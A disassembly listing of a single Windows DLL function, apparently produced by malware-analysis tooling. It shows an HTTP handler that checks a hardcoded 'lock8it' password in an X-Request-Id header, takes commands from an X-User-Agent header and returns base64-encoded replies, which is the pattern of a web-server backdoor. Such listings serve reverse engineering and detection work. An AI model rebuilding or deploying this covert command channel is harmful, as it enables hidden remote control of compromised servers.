Function at 0x180001810
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbx
push rsi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rax, qword [rdx]
mov rcx, rdx
mov r14, rdx
call qword [rax + 0x18]
mov rdx, qword [r14]
mov rcx, r14
mov rsi, rax
call qword [rdx + 0x20]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov r15, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [rsp + 0x3c], 0x400
xor r12d, r12d
mov r10, qword [rsi]
mov rbx, rax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], r12
mov rdx, rbx
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x400
mov rcx, rsi
call qword [r10 + 0x80]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov word [rsp + 0x34], r12w
lea r8, [rsp + 0x34]
mov rax, qword [rsi]
lea rdx, str.X_Request_Id
mov rcx, rsi
call qword [rax + 0x18]
test rax, rax
je 0x180001af6
mov ecx, r12d
lea r9, str.lock8it
nop word [rax + rax]
movzx edx, byte [r9 + rcx]
inc rcx
cmp dl, byte [rax + rcx - 1]
jne 0x180001af6
cmp rcx, 8
jne 0x1800018e0
xor ecx, ecx
mov qword [rsp + 0x80], rbp
mov edx, 0x9c40
mov qword [rsp + 0x90], rdi
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov edx, 0x9c40
mov r8d, 0x3000
mov rdi, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov word [rsp + 0x30], r12w
lea r8, [rsp + 0x30]
mov r9, qword [rsi]
lea rdx, str.X_User_Agent
mov rcx, rsi
mov rbp, rax
call qword [r9 + 0x18]
test rax, rax
je 0x180001abe
movzx edx, word [rsp + 0x30]
mov rcx, r14
mov r8, qword [r14]
inc edx
call qword [r8 + 0x90]
mov rax, qword [rsi]
lea r8, [rsp + 0x30]
lea rdx, str.X_User_Agent
mov rcx, rsi
call qword [rax + 0x18]
mov r8, qword [r14]
mov edx, 5
mov rcx, r14
mov rbx, rax
call qword [r8 + 0x90]
mov ecx, dword [rbx]
lea rsi, [rbx + 3]
mov r14, rax
mov dword [rsp + 0x28], 3
mov r9d, 3
mov r8, r14
mov dword [rax], ecx
xor edx, edx
lea rax, [0x1800039f0]
mov ecx, 0x800
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CompareStringA]
mov rbx, 0xffffffffffffffff
cmp eax, 2
jne 0x1800019f9
mov r8, rbx
inc r8
cmp byte [rsi + r8], r12b
jne 0x1800019e3
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x180001a6b
lea rax, [0x1800039f4]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8, r14
xor edx, edx
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_CompareStringA]
cmp eax, 2
jne 0x180001a41
movsd xmm0, qword [str.01success]
movsd qword [rdi], xmm0
movzx eax, word [0x180003a00]
mov word [rdi + 8], ax
jmp 0x180001a6b
movsd xmm0, qword [str.INVALID_COMMAND]
movsd qword [rdi], xmm0
mov eax, dword [0x180003a10]
mov dword [rdi + 8], eax
movzx eax, word [0x180003a14]
mov word [rdi + 0xc], ax
movzx eax, byte [0x180003a16]
mov byte [rdi + 0xe], al
mov dword [rsp + 0x38], 0x9c40
inc rbx
cmp byte [rdi + rbx], r12b
jne 0x180001a73
lea rax, [rsp + 0x38]
mov rdx, rbx
mov r9, rbp
mov qword [rsp + 0x20], rax
mov r8d, 0x40000001
mov rcx, rdi
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test rdi, rdi
je 0x180001abe
mov rax, qword [r15]
lea rdx, str.X_User_Agent
movzx r9d, word [rsp + 0x38]
mov r8, rbp
mov rcx, r15
mov dword [rsp + 0x20], r12d
call qword [rax + 0x28]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, 0x9c40
mov r8d, 0x4000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x80]
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180001b30
add rsp, 0x50
pop r15
pop r14
pop r12
pop rsi
pop rbx
ret